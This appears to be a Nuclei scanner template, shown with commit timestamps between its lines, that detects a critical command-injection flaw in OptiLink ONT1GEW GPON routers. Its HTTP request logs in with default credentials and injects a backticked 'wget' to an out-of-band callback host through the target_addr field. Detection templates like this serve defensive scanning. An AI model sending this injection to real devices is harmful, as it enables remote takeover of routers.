2021-07-15 17:45:22 +00:00
id : optilink-ont1gew-gpon-rce
2021-07-15 05:57:34 +00:00
info :
2022-04-07 13:53:15 +00:00
name : OptiLink ONT1GEW GPON Remote Code Execution
2021-07-15 05:57:34 +00:00
author : gy741
severity : critical
2022-04-07 13:53:15 +00:00
description : OptiLink is susceptible to remote code execution vulnerabilities which could allow an authenticated, remote attacker to perform command injection attacks against an affected device.
2021-08-18 11:37:49 +00:00
reference :
2021-07-15 05:57:34 +00:00
- https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.html
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
2022-04-07 13:53:15 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score : 10
2022-04-07 13:53:15 +00:00
cwe-id : CWE-77
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : optiLink,rce,oast,mirai,packetstorm
2021-07-15 05:57:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-15 05:57:34 +00:00
- raw :
- |
POST /boaform/admin/formTracert HTTP/1.1
2021-09-08 12:17:19 +00:00
Host : {{Hostname}}
2021-07-15 05:57:34 +00:00
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type : application/x-www-form-urlencoded
2021-09-08 12:17:19 +00:00
Origin : {{BaseURL}}
Referer : {{BaseURL}}/diag_ping_admin_en.asp
2021-07-15 05:57:34 +00:00
User : e8c
Password : e8c
2021-07-15 17:45:22 +00:00
2021-07-15 05:57:34 +00:00
target_addr="1.1.1.1+`wget+http%3A%2F%2F{{interactsh-url}}%2F`"&waninf=127.0.0.1"
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
2023-10-20 11:41:13 +00:00
# digest: 4a0a0047304502204c20983b7888eb7fe78a2bb9f2df479bcfabf59b904ec814ab080b7bf68c3836022100b742aaa8664e8bef59b1f463b51415299929d0a940b5288fd812341a1c51cddf:922c64590222798bb761d5b6d8e72950
